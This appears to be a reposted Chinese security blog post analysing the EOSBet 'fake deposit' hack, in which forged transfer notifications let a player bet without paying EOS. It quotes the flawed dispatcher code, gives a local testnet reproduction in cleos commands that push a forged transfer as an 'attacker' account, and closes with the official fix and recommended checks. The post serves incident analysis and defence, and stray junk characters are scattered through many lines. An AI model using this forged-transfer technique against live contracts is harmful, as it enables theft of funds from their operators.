EOS dApp 漏洞盘点分析—EOSBet 假充值漏洞一
蓝天天使2017
发表于 2022-12-27 17:33:36
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文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis U% z2 A# J% [& f2 q# ]- K# D
0x00 背景5 w& v1 O; V7 g7 e5 C* X/ A
EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。
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0x01 技术分析
由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers# y5 d7 D% Z6 R# g) o
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \8 s# a3 U0 t3 n$ W2 h
auto self = receiver; \
if( action == N(onerror)) { \
/* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \; r! `, A- Z0 r( h9 u- E, L
} \* @5 w: ^2 A& h* q# C
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
TYPE thiscontract( self ); \
switch( action ) { \1 }3 B4 ^( x1 _: J5 q! U; ?
EOSIO_API( TYPE, MEMBERS ) \4 q2 i" [7 P% l; I! U0 S
} \- Z5 {: y: r! z
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \, g2 t2 G( @" C
} \
} \& j# F7 ]1 O1 A" H
}
通过官方给出的EOSIO_ABI,问题主要出在以下代码9 ~$ ?# b4 E9 d
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \
} \
}
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。( r' s0 q0 j" k7 B1 z3 w: r$ |
0x02 攻击复盘7 ~9 s( U# q I' E
创建eosio.token账户' z6 H) p- F" n
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
部署eosio.token合约并初始化# j6 o4 s0 G) q
# 部署合约
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
# 初始化合约
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token
创建游戏账户、开奖账户和攻击者账户4 ]7 f% S' {7 T5 I
#创建游戏账户和开奖账户- p0 E+ u( l3 a4 B: f
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk9 m' H0 |6 \8 A2 ^
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
#创建攻击者账户! m+ z6 i% Y" z1 ?
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
设置账户随机权限和开奖权限
#设置权限
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner
#设置开奖权限
cleos set action permission eosbetcasino eosbetdice11 resolvebet random
向相关账户冲入代币
#往相关账户充值
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active
![4.png]()
部署游戏合约并初始化! d" d6 ^* s) x2 O0 S8 w
#部署游戏合约
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice
#初始化游戏合约
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino2 D; B" \5 Z6 E) t! S0 e
模拟黑客攻击(伪造转账通知)
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
查询游戏订单
cleos get table eosbetdice11 eosbetdice11 activebets# t* N: N$ t' q
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可见,游戏订单已经生成,查询attacker和eosbetdice11账户. t- w. |- q) r7 a7 T
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按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
最后对该订单进行开奖。
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random
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总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。* j" p9 E6 y. N
0x03 后记/ V# Y& u7 N z! N/ @6 V% h P
EOSBet随后将修复方案公开
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers* z) X. r) j2 h% n& e
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \/ x3 r/ y) ~# V! @7 c
extern "C" { \( l" Y& _$ P) c9 J% A3 B/ \- {
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \' J: `/ _* d [ C7 ~+ T. P
if( code == self || code == N(eosio.token)) { \
if( action == N(transfer)){ \6 _& Q& l4 a% @
// 必须是eosio.token来调用合约自身的transfer函数8 U- m* z4 P7 b" K5 C7 j. ^, }) V
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \& W7 M5 ^& `# s: j( m/ R
} \; W& h7 r: F9 `( q; Z% P
TYPE thiscontract( self ); \( ^) J( k% \, }& {( M0 r# a4 w
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \' J; o7 m8 B1 T' q
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \2 D( G& ~- M" N' Y
} \/ g+ C4 P* h) }, e& ^
}+ y( x. D! w. r. w3 r
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D
0x04 修复方案& V# Q% n) f; }0 j" U
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:
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通知是否来自eosio.token,即只处理eosio.token发送的通知: M. V& W, I' j4 l! [
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");6 T9 q( Y5 j/ B3 T" H0 U7 L
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转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知6 n$ \! {6 t7 A/ O6 L' {5 O" V: I
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
成为第一个吐槽的人